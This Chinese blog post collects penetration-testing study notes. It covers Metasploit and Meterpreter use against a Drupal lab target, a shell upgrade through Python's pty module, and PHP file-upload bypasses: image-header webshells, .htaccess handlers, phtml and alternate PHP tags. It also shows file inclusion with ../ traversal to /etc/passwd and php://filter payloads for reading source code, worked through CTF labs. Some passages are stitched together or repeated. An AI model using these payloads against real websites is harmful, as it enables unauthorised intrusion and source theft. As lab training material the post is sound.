  • post:后渗透模块,在拿到Shell和权限之后,进一步对目标和内网进行渗透。
  • evasion:混淆模块,生成能够绕过杀毒软件的Shell。
  • nop:空模块,生成代码中的空,例如在汇编指令中,不做任何操作即为nop。

exploit和payload是MSF中最重要的两个模块,一般都是先使用exploit对目标系统进行渗透,渗透成功后再执行payload。接下来,我们主要调用这两个模块(其他模块则很少用到)​。

在使用MSF之前,最好先进行初始化。由于MSF使用的是postgresql数据库,所以首先在Kali中运行postgresql服务,然后再执行msfdb init命令对MSF的数据库进行初始化。初始化时会提示为数据库设置密码,这里通常都是使用空密码。

image

 执行msfconsole命令运行MSF,进入Metasploit控制台。首先会显示当前所使用的Metasploit版本以及所包含的各种功能模块的数量,然后会打开一个交互式的操作界面,在提示符的后面可以执行各种Metasploit命令,例如执行db_status命令可以查看MSF数据库的连接状态。

image

下面先执行search drupal命令在Metasploit中查找与Drupal相关的exploit,可以看到编号为1的exploit发布的时间比较近,而且等级是excellent,所以这里使用这个exploit进行测试。

image

 执行use命令可以调用指定的exploit,这里可以使用exploit的名字,也可以使用它的编号。

使用名字调用exploit

image

 使用编号调用exploit

image

 在打开一个模块之后,通常都要先执行show options命令查看该模块有哪些选项需要设置

其中,Required标注为yes的是必须要设置的选项,大部分选项都已经有了默认值,这里我们必须要设置的是RHOSTS选项,用于指定靶机的地址。

执行set命令可以对选项进行设置,设置完成后再次执行show options命令确认所有选项都已经设置好

image

 

image

 exploit往往还要结合payload一起使用,对于当前所使用的这个exploit,它已经自动调用了一个跟它来配合的payload。MSF中的payload其实就是一个木马程序,木马客户端在靶机上运行,木马服务端在Kali上运行,所以这个payload会在Kali上开启4444端口,等待客户端在靶机上运行后自动连接Kali。

image

 所有的选项都设置好之后,执行run或者exploit命令就可以开始实施攻击。攻击成功之后,会产生一个Meterpreter会话。通过Meterpreter我们就可以在靶机上执行各种操作了。Meterpreter提供了各种指令,如创建用户账号、上传或下载文件、捕获靶机的屏幕或键盘信息等。执行help或?命令可以显示Meterpreter中提供的所有指令。

Meterpreter虽然提供了非常多的操作指令,但每个指令只能执行特定的某一类操作。从渗透测试的角度来看,我们更加希望能够获得一个系统Shell,这样就可以根据需求随意执行各种操作。所以,我们通常执行Meterpreter中的shell命令,从而获得一个系统Shell。

 

执行下面的命令将exploit编译成可执行程序。由于这个命令中的选项比较多,读者不必深究这个命令的含义,把它当作一种固定用法来使用即可。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

 

 

 

利用pty模块获得系统Shell

Meterpreter中提供的其实是一个虚拟的Shell,并不是真正的Linux系统Shell。这个虚拟Shell没有命令提示符,在使用时感觉有些不便,而且在执行某些操作时会出现错误(如无法进入MySQL交互模式)​,所以这里通常都会使用Python的pty模块来获得一个真正的Linux系统Shell。

pty模块是Python的内置模块,其使用非常简单,无须安装即可直接调用。下面先进入Python的IDLE交互模式了解这个模块的基本用法。

首先,执行import pty命令即可导入模块。pty模块中最常使用的是spawn( )方法,利用该方法可以打开一个子进程,然后去执行相应的任务。我们的目的是要获得Linux系统Shell,所以这里可以使用spawn( )方法去执行/bin/bash

image

 另外,与之前使用的php命令类似,只要系统中安装了Python,我们同样可以通过python命令来直接执行Python代码。

python命令的-c选项用来指定要执行的Python代码,多条代码之间用分号(;)间隔,所以在Meterpreter的Shell中执行python -c "import pty;pty.spawn('/bin/bash')"命令,就可以通过pty模块得到一个更为好用的系统Shell

image

 

 Base64编码规则规定

Base64编码规则规定,经过Base64编码之后的字符数量必须是4的倍数,如果不足4的倍数,则会在整个字符串的末尾用=填充,=的数量最多两个。所以,经过Base64编码的字符串只可能在最后出现=,中间是不可能出现=的。

 如何判断一段字符串是否是经过了Base64编码,可以参考如下几个关键特征:

  • 字符串只能包含A~Z、a~z、0~9、+、/、=这些字符。
  • =只会出现在字符串末尾,最多两个,当然也可能没有。
  • 字符个数是4的倍数。

mime文件类型判断

参考:https://baike.baidu.com/item/MIME/2900607

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822转变而来的RFC 2822,这些旧标准规定电子邮件标准并不允许在邮件消息中使用7位ASCII字符集以外的字符。正因如此,一些非英语字符消息和二进制文件,图像,声音等非文字消息原本都不能在电子邮件中传输(MIME可以)。MIME规定了用于表示各种各样的数据类型的符号化方法。 此外,在万维网中使用的HTTP协议中也使用了MIME的框架,标准被扩展为互联网媒体类型。

 

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
七种大类别:
video
image
application
text
audio
multipart
message
常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream
用于WAP服务器的MIME类型有:
MRP文件(国内普遍的手机)
.mrp application/octet-stream
IPA文件(IPHONE)
.ipa application/iphone-package-archive
 
.deb application/x-debian-package-archive
APK文件(安卓系统)
.apk application/vnd.android.package-archive
CAB文件(Windows Mobile)
.cab application/vnd.cab-com-archive
XAP文件(Windows Phone 7)
.xap application/x-silverlight-app
SIS文件(symbian平台/S60V1)
.sis application/vnd.symbian.install-archive *(下有)
SISX文件(symbian平台/S60V3/V5)
.sisx application/vnd.symbian.epoc/x-sisx-app
JAR、JAD文件(JAVA平台手机通用格式)
.jar .jad下面有

文件二进制头判断文件类型

所以,这里不是像之前那样通过扩展名来判断文件类型,而且直接读取了文件的内容来进行判断。其实,对于系统中的大多数文件,在每种类型文件的头部都会有一些固定信息,用于标识文件的类型。

尤其是在CTF比赛的隐写类题目中,有大量涉及识别或修改文件头的知识点。

下面是3种常见类型图片的文件头:

  •  JPEG(jpg):FFD8FFE0。
  •  PNG(png):89504E47。
  •  GIF(gif):47494638。

对于扩展名为jpg的图片,文件头部的前两个字节是FFD8,对应的十进制就是255216,跟代码中给出的数据也是一致的。

了解了网站的检测机制,那么如何绕过就很简单了。只需要在WebShell的头部添加上图片文件的头部信息即可。

但需要注意的是,这些头部信息都是二进制数据,例如扩展名为jpg的图片的头部信息是FFD8FFE0,需要使用像010Editor这类二进制编辑工具才可以在文件头部插入这些数据。

 

函数判断文件类型

整个isImage( )函数的作用就是定义了一个白名单,只允许上传扩展名是jpeg、png、gif类型的图片文件,并且是通过getimagesize( )函数来判断文件类型。这

样,我们之前所采用的修改文件扩展名或者是修改文件头的方法就都无效了。

这里我们必须要上传一张真正的图片,而且这张图片里还要包含一句话木马。

如何制作一张包含有一句话木马的图片呢?方法其实很简单,只需将一句话木马写入一张图片的尾部即可。

当然,这里必须要采用二进制的方式写入,而不能直接使用文本编辑工具。

例如,我们先准备一张正常的图片1.png,然后通过执行Windows系统中的copy命令,就可以通过二进制的方式将shell.php中的代码追加到图片的尾部,并生成新的图片shell.png。

这个新生成的shell.png是可以正常打开的,所显示的图片效果与之前的1.png完全一样,但图片中其实是被插入了一句话木马。

image

 

 

 

php代码漏洞学习

php代码后端校验文件扩展名绕过

这部分代码很容易理解,关键是我们如何来绕过。

在网络安全中,通常而言白名单的安全性要更好一些,而黑名单则很容易被绕过。

例如,这里的黑名单中就只有4种扩展名,对于PHP网站,除了php的扩展名之外,有时候下列扩展名也有可能被当作PHP文件解析执行:phtml、phps、php3、php5、pht。

当然一个网站是否会解析执行上述扩展名的文件,这取决于管理员是否做了相应配置,下面简要介绍这个配置。

 进入CentOS虚拟机,在/etc/httpd/conf.d/目录创建一个以conf作为文件名后缀的配置文件,如test.conf,并在其中添加下面的设置项:

AddType application/x-httpd-php .phtml .php3

 

配置文件创建好之后,重启Apache服务,这样我们的网站就可以对扩展名是phtml和php3的文件进行解析了。

可见,网站管理员其实可以在配置文件中添加任意扩展名,从而让网站去解析。

那管理员为什么要添加php3、php5、phtml、pht这些扩展名呢?

这是因为这些都是曾经使用过的PHP文件名后缀,在某些情况下,一些网站需要对这些文件进行解析,所以就会进行相应的配置。

在渗透测试中上传文件时,我们可以对这种方法进行尝试,将文件扩展名改为phtml之类的形式,如果网站恰好做了配置,那么就可以绕过了。

对于Upload-labs第三关,就可以采用phtml扩展名来绕过。

 

 .htaccess绕过

Upload-labs第四关也是定义了黑名单,但是名单中的扩展名非常多,代码如下:

image

 我们之前所使用的扩展名都被列入了黑名单,如果服务器没有做相应的配置,那么,即使能够上传这些扩展名的文件,也没用。

因而之前使用的绕过方法在这里都不好用了,只能按要求上传图片文件。

这一关的解题方法是上传.htaccess文件,通过这个文件,就可以将图片文件也能当作PHP文件去解析执行。

.htaccess是Apache中的分布式配置文件,可以针对某个指定的目录单独进行配置。

Apache的主配置文件是/etc/httpd/conf/httpd.conf,还有之前修改的/etc/httpd/conf.d/test.conf。这些文件里的设置都是对整个服务器都生效,而.htaccess文件里的配置则只对所在目录生效。

例如,在存放上传文件的upload目录中放置一个.htaccess文件,那么这个文件里的设置项就只针对upload目录生效。

 所以,我们这里就可以通过.htaccess文件,对网站的upload目录进行设置,使得该目录中的图片文件也可以被当作PHP文件去执行。

 那么,在htaccess文件中添加什么配置项,才能让网站把图片当作PHP文件解析呢?这里主要有两种利用方式。

  • SetHandler application/x-httpd-php:把所有文件都当作PHP文件解析。
  • AddType application/x-httpd-php .jpg:把扩展名是jpg的文件当作PHP文件解析。

这两个设置项任选其中一种即可,我们首先在本地的Windows系统中创建一个名为.htaccess的文件,文件内容是SetHandler application/x-httpd-php,然后把这个文件上传到网站。

接下来,再把WebShell文件shell.php改名为shell.jpg,并上传到网站,最后用蚁剑去连接这个shell.jpg即可。

需要注意的是,.htaccess文件能否发挥作用,取决于在Apache的主配置文件中是否存在设置项“Allow Override All”​,即是否允许.htaccess的局部配置覆盖主配置文件中的全局配置。

在低于2.3.8版本的Apache中,默认设置是“Allow Override All”​,即默认启用了.htaccess功能,但在2.3.9及更高版本中,默认设置则为“Allow Override None”​,.htaccess功能默认被关闭。

CentOS 7系统中所使用的Apache版本是2.4.6,所以,除非服务器做了专门配置,否则对于高版本的Apache服务,.htaccess文件也是无法发挥作用的。

 

文件包含漏洞分析

文件包含的作用

程序开发人员通常会把一些可重复使用的函数写入某个文件中,这样在使用这些函数时,就可以直接调用此文件,而无须重复编写函数代码,这种调用文件的过程就被称为文件包含。

PHP中提供了4个文件包含函数:

  • require( ):如果被包含的文件不存在,会产生错误,并停止脚本运行。
  • include( ):如果被包含的文件不存在,只会产生警告,脚本将继续运行。
  • require_once( ):与require( )类似,区别是,如果文件中的代码已经被包含,则不会被再次包含。
  • include_once( ):与include( )类似,区别是,如果文件中的代码已经被包含,则不会被再次包含。

从渗透测试的角度,对这些文件包含函数只需了解其功能即可,至于彼此的区别则不必深究。在做代码审计类的CTF题目时,经常会看到这些文件包含函数。例如下面的代码:

image

下面分析这段代码。

1行代码中的show_source( )是在代码审计类题目中经常出现的一个函数,这个函数的作用是将当前页面的代码进行高亮显示,访问这个页面的效果。

函数中的参数“__FILE__”是PHP中的一个预定义常量,用来表示当前正在处理的脚本文件名。

image

对于代码审计类题目,必须要向客户端展示后端源码,从而让用户分析代码并解题,这个功能正是通过show_source( )函数来实现的。

 2行代码就是用include( )函数去包含了当前目录下的flag.php文件,这样flag.php文件中的所有代码也就成为了当前页面代码中的一部分。

3行代码是接收用户用GET方法以name参数发来的数据,并赋值给$name变量。

4行和5行代码是判断$name的值是否是“admin”​,如果是,则输出$flag变量的值。

这个题目的flag很明显就是存放在$flag变量里,而$flag变量并没有在当前页面中定义,它其实是在flag.php中定义的。

下面是flag.php页面的代码:

<?php
    $flag = "flag{647E37C7627CC3E4019EC69324F66C7C}";
?>

当然,这段代码里的文件包含并不是为了实现代码重用。通过文件包含,就实现了既向用户展示后端源码,同时又隐藏flag变量的目的,所以文件包含在程序开发中应用得非常广泛。

 大部分Web漏洞的成因都是由于没有对用户输入的数据进行严格的安全过滤,文件包含漏洞也是同样如此。

在之前举例的代码中,include( )函数包含的文件是固定的flag.php,这时并不存在漏洞。

但有时程序开发人员为了让代码更加灵活,会把被包含的文件设置为变量,用来进行动态调用。

这时,如果对这些变量没有进行严格过滤,那么就很可能会形成文件包含漏洞。

例如,下面的代码可以由用户任意指定include( )函数要包含的文件,这就形成了文件包含漏洞。

<?php
    $file = $_GET['file'];
    include($file);
?>

假设在网站的主目录中存在一个名为flag.txt的文本文件,通过文件包含就可以读取到该文件内容

当然,对于网站主目录中的flag.txt这类文本文件,由于属于网站静态资源,所以即使不借助于文件包含,也可以直接读取该文件内容。但如果我们的目标是想读取网站主目录之外的文件,如想读取/etc/passwd,那么,就必须要通过文件包含来实现

image

 通过文件包含,可以直接读取服务器操作系统中的文件内容。当然,前提条件是需要保证Apache用户对目标文件要有读取权限。

有些网站开发人员可能会对文件路径进行限制。如果无法使用像/etc/passwd这种Linux系统中的绝对路径,那么可以使用“../../../../../../../etc/passwd”这种相对路径来读取文件。

“../”代表上级目录,使用足够多的“../”就可以退到系统根目录,而且当退到系统根目录之后,​“../”的数量就没有限制了。

例如,通过3层“../”就已经退到了根目录,那么4层、5层或者更多层的“../”也都是同样表示根目录。所以,在构造这种payload时,通常都是写足够多的“../”​。就是通过这种相对路径的表示方式来读取/etc/passwd文件。

利用文件包含漏洞,除了读取系统中的敏感文件之外,从渗透测试的角度来看,我们更希望读取的是网站主目录中的那些PHP文件的源码。

对于文件名后缀是php的动态资源,在文件包含时会执行被包含文件中的代码,因而,在客户端看到的仍然是代码执行之后的结果。要想读取到动态页面的源码,就需要借助于PHP伪协议,这个在后面再详细介绍。

 

php的<?语法检测绕过

BUUCTF-[极客大挑战 2019]Upload

那网站是如何检测出我们上传的是PHP文件?推测很有可能是通过文件扩展名来判断的。直接将扩展名改为最常用的phtml,再次上传。

网站返回新的报错提示“NO!HACKER! your file included'<?'”​,之前的提示消失了,证明修改有效。根据新的提示,推测网站应该是对文件内容也做了检测,发现我们上传的文件内容中含有“<?”​。

  “<?php …… ?>”是PHP代码的标准标记,PHP代码必须放在这样一组标记内才能被执行。但除了这种标准标记,还有另外两组标记也可以用来执行PHP代码。

第一组标记是JavaScript风格的“<script language='php'>……</script>”​,例如下面的测试代码:

<script language="php">
phpinfo( );
</script>

第二组标记是短标记“<?= …… ?>”​,测试代码如下:

<?=
phpinfo( );
?>

这道题目由于是在检测代码中是否含有“<?”​,所以可以使用“<script language='php'>……</script>”的标记组合来绕过。做了3处修改后的请求报文

image

请求报文再次发送出去之后,又返回新的错误提示“Don't lie to me, it's not image at all!!!<”​,提示我们上传的根本不是图片。

 网站要检测出我们上传的是不是图片,除了判断扩展名之外,还需要检查文件内容。这里就需要我们来上传图片马,图片马有两种形式:修改文件头、捆绑文件。

由于捆绑文件的图片马需要配合文件包含漏洞来使用,所以首先尝试修改文件头,在代码前插入GIF89a,最终修改后的请求报文

image

 将请求报文发送出去之后,终于成功将WebShell上传了,保存文件名是shell.phtml。

但是网站没有给出上传路径。这里只能猜测上传的文件是保存在upload目录中,访问测试,果然存在该目录,这样上传文件的路径就是upload/shell.phtml。最后,用蚁剑连接,在根目录下发现flag文件。

php伪协议实现文件包含源码读取

php伪协议利用前提条件

之前介绍了如何通过文件包含来读取文件,但我们更加希望的是读取动态页面的源码,此时就需要借助于PHP伪协议。

我们之前在include( )等文件包含函数中,都是以文件路径作为参数来指定所要包含的文件。

与其他编程语言不同,除了文件路径之外,在PHP中还可以通过数据流来指定要包含的文件。

要指定数据流,通常需要使用类似于“php://”或“data://”的形式,这与URL中的“http://”或“https://”非常类似。所以,可以将其简单理解成是一种专用于PHP的协议,通常称之为伪协议。

PHP提供了很多伪协议,需要注意的是,PHP伪协议能否发挥功能,与PHP配置文件php.ini里的两个重要的设置项allow_url_fopen和allow_url_include息息相关:

  •  allow_url_fopen:默认值是ON,表示允许URL中的伪协议访问文件。
  •  allow_url_include:默认值是OFF,表示不允许URL中的伪协议包含文件。

CentOS 7系统中php.ini的文件路径是/etc/php.ini,读者可以自行查看文件中的默认设置。

php伪协议利用方式

 最常用的PHP伪协议是php://,它需要具备的前提条件是,在php.ini中需要开启allow_url_fopen,但不需要开启allow_url_include。

由于allow_url_fopen默认就是启用的,所以php://伪协议在大部分情况下都适用。

php://伪协议通常会配合PHP中提供的filter功能,对所传输的数据流做一些处理。例如下面的测试代码:

<?php
    $file = $_GET['file'];
    include($file);
?>

如果通过这段代码直接去包含一个写有phpinfo( )函数的页面a.php,由于include( )函数会执行PHP代码,所以,我们在客户端看到的就是phpinfo( )函数的执行结果。

从渗透测试的角度来看,我们希望得到的是a.php的源码。如何才能让include( )函数不执行文件中的代码,而将这些源码在客户端显示出来呢?这时就可以利用php://伪协议。

通过php://伪协议可以指定以数据流的方式去包含文件,同时再结合filter功能,可以把文件中的数据全部进行Base64编码,这样include( )函数就不会去执行这些代码了。

通过php://伪协议并结合filter功能是读取PHP源码的标准用法,有如下两种使用格式,具体使用时任选其一即可:

php://filter/convert.base64-encode/resource=xxx 
php://filter/read=convert.base64-encode/resource=xxx

构造下面的payload,就可以读取a.php的源码了:

php://filter/convert.base64-encode/resource=a.php

执行效果

image

当然,还需要进行Base64解码,之后就得到了网页源码:

 image

 

文件包含结合PHP伪协议能实现很多更为高级的功能,除了本章所介绍的php://伪协议,还有data://、file://等伪协议,限于篇幅,本书不再展开介绍。

 php通过http头部传参

攻防世界-Web- fileinclude

开题目后,页面中提示“Hi,EveryOne,The flag is in flag.php”​,这很明显是需要我们去包含flag.php,获取它的源码。

看页面源码发现,其中给出了当前index.php页面的源码

image

 在这段代码中使用了预定义变量$_COOKIE,这个预定义变量与之前介绍的$_GET、$_POST、$_REQUEST类似,都是用来接收客户端传来的数据。不同之处是,$_COOKIE接收的数据是来自请求报文头部的Cookie字段。

这段代码就是在判断用户是否通过Cookie用language参数传来了数据,如果没有传送数据,那么就默认包含english.php页面;如果传入了数据,那么会在数据后面拼接上.php,然后再去包含这个页面。

我们只需通过Cookie传入PHP伪协议去包含flag.php,即可得到源码。需要注意的是,因为网站会自动拼接上文件扩展名,所以,在我们构造的payload中就不需要加上扩展名了。可以使用HackBar来发送Cookie数据,打开HackBar之后,选中Cookies复选框,然后在相应栏中输入payload即可

们只需通过Cookie传入PHP伪协议去包含flag.php,即可得到源码。需要注意的是,因为网站会自动拼接上文件扩展名,所以,在我们构造的payload中就不需要加上扩展名了。可以使用HackBar来发送Cookie数据,打开HackBar之后,选中Cookies复选框,然后在相应栏中输入payload即可

image

 

 

 

 

 

 


posted on 2025-11-02 17:57  叶子在行动  阅读(31)  评论(0)    收藏  举报

导航